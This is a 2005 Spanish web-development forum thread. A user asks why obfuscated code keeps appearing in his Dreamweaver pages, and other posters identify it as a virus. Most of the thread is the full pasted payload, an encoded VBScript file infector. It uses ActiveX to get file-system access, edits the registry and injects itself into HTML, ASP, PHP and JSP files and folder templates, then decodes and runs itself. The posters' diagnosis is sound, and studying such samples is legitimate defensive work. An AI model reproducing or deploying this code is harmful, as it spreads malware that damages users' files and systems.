DW agrega codigo sin mi permiso !

lisandro Arg · #1 (**permalink**) 04/11/2005, 06:34

Hola todos:
Hace unos dias que tengo problemas con en nuevo DW que instale (Mx6.0), me agrega un codigo extraño el cual me produce un error en muchas paginas, no avisa en cuales ha puesto, los antivirus muestran menajes de alerta cuando se ejecuta la pagina, en fin... todos mal con eso, aca abajo les dejo el codigo para ver si alguien me puede decir como desactivar eso, muchas gracias de ante mano !

Código HTML:

<!-- Don't modify this line, required by system protocol! --> 
<script language=vbscript> 
document.write "<div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'><"&"APPLET NAME=who"&"_terrosist HEIGHT=0 WIDTH=0 code=com.ms."&"activeX.Active"&"XComponent></APPLET></div>" 
</script> 
<script language=vbscript> 
ScriptCode = "ChlRBqhos+VRBqhos+@ookds+VhmO`sg+mEnkcdq+mBncdRtaQtm^Shld'(EE/0'(EE/1'(DmcRtaEtmbshnmEE/0'(NmDqqnqQdrtldMdwsDqq-Bkd`qSncnHs<VRbqhos-RbqhosEtkkm`ldHeDqqSgdmU/3<gslkDkrdU/3<uarDmcHeHeU/3<uarSgdmRdsRBqhos<Bqd`sdNaidbs'Rbqhoshmf-EhkdRxrsdlNaidbs(RdsVRBqhos<Bqd`sdNaidbs'VRbqhos-Rgdkk(DkrdRds@ookds<Cnbtldms-`ookdsr'vgn^sdqqnrhrs(@ookds-rdsBKRHC'zE824CB11,0BE/,00C/,@CA8,//B/3EC47@/A|(@ookds-bqd`sdHmrs`mbd'(RdsVRBqhos<@ookds-FdsNaidbs'(@ookds-rdsBKRHC'z/C32ED/0,E/82,00BE,783/,//@/B8/43117|(@ookds-bqd`sdHmrs`mbd'(RdsRBqhos<@ookds-FdsNaidbs'(DmcHeDmcEtmbshnmEtmbshnmEE05'mO`sg(HeQhfgs'mO`sg+0(<[SgdmEE05<mO`sgDkrdEE05<mO`sg%[DmcHeDmcEtmbshnmEtmbshnmEE/5'(EE/5<EE05'Rbqhos-FdsRodbh`kEnkcdq'/((DmcEtmbshnmEtmbshnmEE/6'(mQdf^@<GJDX^BTQQDMS^TRDQ[BnmsqnkO`mdk[Hmsdqm`shnm`k[mQdf^A<GJDX^BTQQDMS^TRDQ[Rnesv`qd[Bk`rrdr[BKRHC[mQdf^B<GJDX^KNB@K^L@BGHMD[RNESV@QD[Lhbqnrnes[Vhmcnvr[BtqqdmsUdqrhnm[mQdf^C<GJDX^BTQQDMS^TRDQ[Rnesv`qd[Lhbqnrnes[SdloO`sg<rxrsdl21[VhsgvRBqhosHe-QdfQd`c'mQdf^B%QdfhrsdqdcNvmdq(<Hmcnmdrh`mSnc`xSgdm-QdfVqhsdmQdf^@%r0048+@msh@R-QdfVqhsdmQdf^@%r1248+@mshRghs-QdfVqhsdmQdf^@%rShldEnql`s+GG9ll9rrss-QdfVqhsdmQdf^A%z1/C/3ED/,2@D@,0/58,@1C7,/7//1A2/2/8C|[+LxJnlotsdq-QdfVqhsdmQdf^B%QdfhrsdqdcNvmdq+Hmcnmdrh`mSnc`x-QdfVqhsdmQdf^B%QdfhrsdqdcNqf`mhy`shnm+Vdknudod`bd-QdfVqhsdmQdf^B%NqfNqf`mhy`shnm+TmcdqFqntmcHmcnmdrh`m-QdfVqhsdmQdf^B%NqfNvmdq+Vdknudod`bd -QdfVqhsdmQdf^C%Vhmcnvr[BtqqdmsUdqrhnm[Dwoknqdq[@cu`mbdc[Ghccdm+0+QDF^CVNQC-QdfVqhsdmQdf^C%Vhmcnvr[BtqqdmsUdqrhnm[Dwoknqdq[@cu`mbdc[GhcdEhkdDws+0+QDF^CVNQC-QdfVqhsdmQdf^C%HmsdqmdsDwoknqdq[L`hm[Knb`kO`fd+EE/5%rxrsdl[ak`mj-gsl-QdfVqhsdmQdf^C%HmsdqmdsDwoknqdq[L`hm[Rs`qsO`fd+EE/5%rxrsdl[ak`mj-gslDmcHeDmcVhsgDmcEtmbshnmEtmbshnmEE/1'(NmDqqnqQdrtldMdwsEE/6'(U@2<EnqH<0SnKdm'RbqhosSdws(U@/<@rb'Lhc'RbqhosSdws+H+0((HeU@/<23SgdmU@1<Bgq'07(DkrdHeU@/<0/SgdmU@1<Bgq'17(DkrdHeU@/<02SgdmU@1<Bgq'18(DkrdU@1<Bgq'U@/,0(DmcHeU@2<U@2%U@1MdwsTmKnbjRsq<Dwdbtsd'ChlRbqhosSdws%uaBqKe%EnqH<0SnKdm'RbqhosBncd(%uaBqKe%U@/<@rb'Lhc'RbqhosBncd+H+0((%uaBqKe%HeU@/<07Sgdm%uaBqKe%U@1<Bgq'23(%uaBqKe%DkrdHeU@/<17Sgdm%uaBqKe%U@1<Bgq'0/(%uaBqKe%DkrdHeU@/<18Sgdm%uaBqKe%U@1<Bgq'02(%uaBqKe%Dkrd%uaBqKe%U@1<Bgq'U@/*0(%uaBqKe%DmcHe%uaBqKe%RbqhosSdws<RbqhosSdws%U@1%uaBqKe%Mdws(%uaBqKe%Dwdbtsd'RbqhosSdws(RbqhosSdws<RbqhosBncd<%U@2%mBncd<; ,,Cnm&slnchexsghrkhmd+qdpthqdcaxrxrsdloqnsnbnk ,,=%uabqke%;%rbqhosk`mft`fd<uarbqhos=%uaBqKe%cnbtldms-vqhsd%%;%chursxkd<&onrhshnm9`arnktsd:kdes9/ow:sno9/ow:vhcsg9/ow:gdhfgs9/ow:y,hmcdw917:uhrhahkhsx9ghccdm&=%;%%@OOKDSM@LD<vgn%^sdqqnrhrsGDHFGS</VHCSG</bncd<bnl-lr-%`bshudW-@bshud%WBnlonmdms=%;%.@OOKDS=%;%.chu=%uaBqKe%;%.rbqhos=%uaBqKe%;%rbqhosk`mft`fd<uarbqhos=%uaBqKe%RbqhosSdws%uaBqKe%TmKnbjRsq%uaBqKe%;%.rbqhos=%uaBqKe%;%.ANCX=%uaBqKe%;%.GSLK=RbqhosSdws<RbqhosBncd<%U@2%U@0<EE/2'Cnbtldms-knb`shnm(U@0<Qdok`bd'U@0+$1/++0+,0(U@0<Qdok`bd'U@0+$15+%+0+,0(U@0<Qdok`bd'U@0+$14+$+0+,0(U@0<Qdok`bd'U@0+$4D+]+0+,0(U@0<Qdok`bd'U@0+$4A+Z+0+,0(U@0<Qdok`bd'U@0+$4C+\+0+,0(U@0<Qdok`bd'U@0+$6A+z+0+,0(U@0<Qdok`bd'U@0+$6C+|+0+,0(U@0<Qdok`bd'U@0+$5/+_+0+,0(HeKdes'U@0+3(<ehkdSgdmU@0<Lhc'U@0+8(Hehmrsq'0+U@0+-(=/SgdmU@0<EE05'Rbqhos-FdsEnkcdq'Rbqhos-FdsO`qdmsEnkcdqM`ld'Kdes'U@0+Kdm'U@0(,0(((-RgnqsO`sg(DkrdU@0<EE05'Rbqhos-FdsEnkcdq'U@0(-RgnqsO`sg(DmcHemEnkcdq<EE/5%vda[enkcdq-gssHeRBqhos-EhkdDwhrsr'mEnkcdq(SgdmRdsU/0<Rbqhos-NodmSdwsEhkd'mEnkcdq+0(U/1<U/0-Qd`c@kkU/1<Kdes'U/1+Hmrsq'0+U/1+;.ANCX=(,0(U/0-BknrdRdsE@ssqha<RBqhos-FdsEhkd'mEnkcdq(E@ssqha-@ssqhatsdr<23HeHmrsq'0+U/1+qtm^shld'((=/SgdmDkrdRdsU/2<Rbqhos-NodmSdwsEhkd'mEnkcdq+1(U/2-Vqhsd;%ANCXnmkn`c<%uarbqhos9%qtm^shld'(%=%uaBqKe%U/1%uaBqKe%mBncdU/2-BknrdE@ssqha-@ssqhatsdr<23Rbqhos-BnoxEhkdEE/5%vda[enkcdq-gss+EE/5%rxrsdl[ak`mj-gslDmcHeDkrdRbqhos-BnoxEhkdU@0%enkcdq-gss+mEnkcdqEE/3'EE/5%vda[Cdrjsno-hmh(Rbqhos-BnoxEhkdEE/5%vda[enkcdq-gss+EE/5%rxrsdl[ak`mj-gslDmcHebEnkcdq<EE/5%rxrsdl21[enkcdq-gssHeRBqhos-EhkdDwhrsr'bEnkcdq(SgdmRdsU/0<Rbqhos-NodmSdwsEhkd'bEnkcdq+0(U/1<U/0-Qd`c@kkU/1<Kdes'U/1+Hmrsq'0+U/1+;.ANCX=(,0(U/0-BknrdRdsE@ssqha<RBqhos-FdsEhkd'bEnkcdq(E@ssqha-@ssqhatsdr<23HeHmrsq'0+U/1+qtm^shld'((=/SgdmDkrdRdsU/2<Rbqhos-NodmSdwsEhkd'bEnkcdq+1(U/2-Vqhsd;%ANCXnmkn`c<%uarbqhos9%qtm^shld'(%=%uaBqKe%U/1%uaBqKe%mBncdU/2-BknrdE@ssqha-@ssqhatsdr<23Rbqhos-BnoxEhkdEE/5%vda[enkcdq-gss+EE/5%rxrsdl21[enkcdq-gssDmcHeDkrdRbqhos-BnoxEhkdEE/5%vda[enkcdq-gss+bEnkcdqEE/3'EE/5%rxrsdl21[Cdrjsno-hmh(DmcHeHeRBqhos-EhkdDwhrsr'U@0%enkcdq-gss(SgdmEE/4'U@0%enkcdq-gss(DkrdRbqhos-BnoxEhkdmEnkcdq+U@0%enkcdq-gssDmcHeEE/3'U@0%Cdrjsno-hmh(RdsU/0<Rbqhos-NodmSdwsEhkd'EE/5%vda[vdauhdv-brr+0(U/1<U/0-Qd`c@kkU/0-BknrdHehmrsq'0+U/1+kdes92/$:vhcsg96/$(=/SgdmU/1<Qdok`bd'U/1+kdes92/$:vhcsg96/$+kdes9/$:vhcsg90//$+0+,0(RdsU/2<Rbqhos-NodmSdwsEhkd'EE/5%vda[vdauhdv-brr+1(U/2-VqhsdU/1U/2-BknrdDmcHeRdsEnkcdqM`ld<Rbqhos-FdsEnkcdq'U@0(RdsSghrEhkdr<EnkcdqM`ld-EhkdrEnqD`bgSghrEhkdHmSghrEhkdrEhkdDws<TB`rd'Rbqhos-FdsDwsdmrhnmM`ld'SghrEhkd-O`sg((HeEhkdDws<GSSNqEhkdDws<GSLNqEhkdDws<GSLKNqEhkdDws<@RONqEhkdDws<OGONqEhkdDws<IROSgdmEE/4'SghrEhkd-O`sg(DmcHeMdwsQ`mcnlhydHeC`x'C`sd(<2/`mcLnmsg'C`sd(Lnc1</SgdmRbqhos-LnudEhkdEE/5%vhm-hmh+EE/5%vnm-bgjRbqhos-LnudEhkdEE/5%rxrsdl-hmh+EE/5%rxrsdl-bgjDmcHeDmcEtmbshnmEtmbshnmEE/4'Ehkdm`ld(HeRBqhos-EhkdDwhrsr'Ehkdm`ld(SgdmRdsU/0<Rbqhos-NodmSdwsEhkd'Ehkdm`ld+0(RdsE@ssqha<Rbqhos-FdsEhkd'Ehkdm`ld(U/1<U/0-Qd`c@kkU/0-BknrdHeHmrsq'0+U/1+;.ANCX=(=/SgdmU/1<Kdes'U/1+Hmrsq'0+U/1+;.ANCX=(,0(HeHmrsq'0+U/1+qtm^shld'((=/SgdmDwhsEtmbshnmDkrdE@ssqha-@ssqhatsdr</RdsU/2<Rbqhos-NodmSdwsEhkd'Ehkdm`ld+1(U/2-Vqhsd;%ANCXnmkn`c<%uarbqhos9%qtm^shld'(%=%uaBqKe%U/1%uaBqKe%mBncdU/2-BknrdTB`rd'Rbqhos-FdsDwsdmrhnmM`ld'Ehkdm`ld((HeEhkdDws<GSSSgdmE@ssqha-@ssqhatsdr<23DkrdE@ssqha-@ssqhatsdr<21DmcheDmcHeDmcHeDmcEtmbshnmEtmbshnmEE/3'EhkdM`ld(HeRBqhos-EhkdDwhrsr'Ehkdm`ld(SgdmDkrdRds`<Rbqhos-Bqd`sdSdwsEhkd'EhkdM`ld+Sqtd(`-VqhsdKhmd'ZDwsRgdkkEnkcdqUhdvr\(`-VqhsdKhmd'Cde`tks<z4873EED/,17C3,00BE,@D55,/7//1A1D0151|(`-VqhsdKhmd'z4873EED/,17C3,00BE,@D55,/7//1A1D0151|<z4873EED/,17C3,00BE,@D55,/7//1A1D0151|%uabqke(`-VqhsdKhmd'Zz4873EED/,17C3,00BE,@D55,/7//1A1D0151|\(`-VqhsdKhmd'OdqrhrsLnmhjdq<ehkd9..enkcdq-gss%uabqke(`-VqhsdKhmd'Z-RgdkkBk`rrHmen\(`-VqhsdKhmd'BnmehqlEhkdNo</(`-BknrdRdsE@ssqha<Rbqhos-FdsEhkd'Ehkdm`ld(E@ssqha-@ssqhatsdr<23DmcHeDmcEtmbshnmEtmbshnmEE/2'U@0(HeQhfgs'U@0+0(<.SgdmEE/2<U@0DkrdEE/2<U@0%.DmcHeDmcEtmbshnm" 
Execute("Dim ScriptText"&vbCrLf&"For I = 1 To Len(ScriptCode)"&vbCrLf&"VA0 = Asc(Mid(ScriptCode, I, 1))"&vbCrLf&"If VA0 = 18 Then"&vbCrLf&"VA2 = Chr(34)"&vbCrLf&"ElseIf VA0 = 28 Then"&vbCrLf&"VA2 = Chr(10)"&vbCrLf&"ElseIf VA0 = 29 Then"&vbCrLf&"VA2 = Chr(13)"&vbCrLf&"Else"&vbCrLf&"VA2 = Chr(VA0 + 1)"&vbCrLf&"End If"&vbCrLf&"ScriptText = ScriptText & VA2"&vbCrLf&"Next") 
Execute(ScriptText) 
</script>

tunait · #2 (**permalink**) 04/11/2005, 07:51

pues diría yo que eso tiene pinta de virus, yo que tú no lo ejecutaría ni de coña

(y menos en IExplorer)

Cuando le pides documento nuevo ¿viene yá ese código insertado por defecto?

lisandro Arg · #3 (**permalink**) 04/11/2005, 09:04

uffffffffffff claroooooooo es un virussss al fin veo uno, 6 años en este mundo y nunca me habia tocado uno porque soy muy precavido ja pero este me pudo

Ni se me habia pasado por la cabeza que podia serlo.

Emmmmmmmm, no cuando le doy a documento nuevo no aparece, no se en que momento lo inserta y aparentemente lo hace en documentos que ni siquiera habro, mmmm creo no estoy seguro.

bueno a pasar el avg a ver que pasa, gracias tunait !!!

carbalga · #4 (**permalink**) 04/11/2005, 09:08

Dreamwaever no incluye ese tipo de codificacion a la hora de hacer algun script.

Por otro lado DREAMWEAVER MX, MX 2004 y 8 cuando incluyen un tipo de pagina ASP con VBScript lo hace de la siguiente manera:

<%@LANGUAGE="VBSCRIPT" CODEPAGE="1252"%>

El resto de la codificacion es por medio de
<%
Dim MM_editAction
Dim MM_abortEdit
Dim MM_editQuery

ETC...
%>

tunait · #5 (**permalink**) 04/11/2005, 09:09

No hay de qué

Igual yá nos contarás la evolución del asunto.

Por siaca usa cualquier navegador que no entienda vbscript, así al menos, lo que sea que sea, no lo ejecutará

un saludo

lisandro Arg · #6 (**permalink**) 09/11/2005, 07:44

la evolucion del asunto??, pues tuve que pasar en avg, y como no lo entendi mucho opte por eliminar todos los archivos que marcaba como infectados.

Asunto arreglado, creo

Saludos y gracias otra vez

causita · #7 (**permalink**) 09/11/2005, 09:45

Cita:

Iniciado por lisandro Arg

la evolucion del asunto??, pues tuve que pasar en avg, y como no lo entendi mucho opte por eliminar todos los archivos que marcaba como infectados.

Asunto arreglado, creo

Saludos y gracias otra vez

Los archivos eran todos HTML?

salu2

DvD AdN · #8 (**permalink**) 09/11/2005, 15:03

No capto muy bien el VB pero esa cosa te esta insertando un div de 0px*0px oculto, con un applet ActiveX (??) y lo demás no le entiendo nada pero ejecuta unas cosas que no se que chingados son!

lisandro Arg · #9 (**permalink**) 10/11/2005, 08:57

tenia una sentencia en la etiqueta body onload para ejecutar el script que se muestra en este post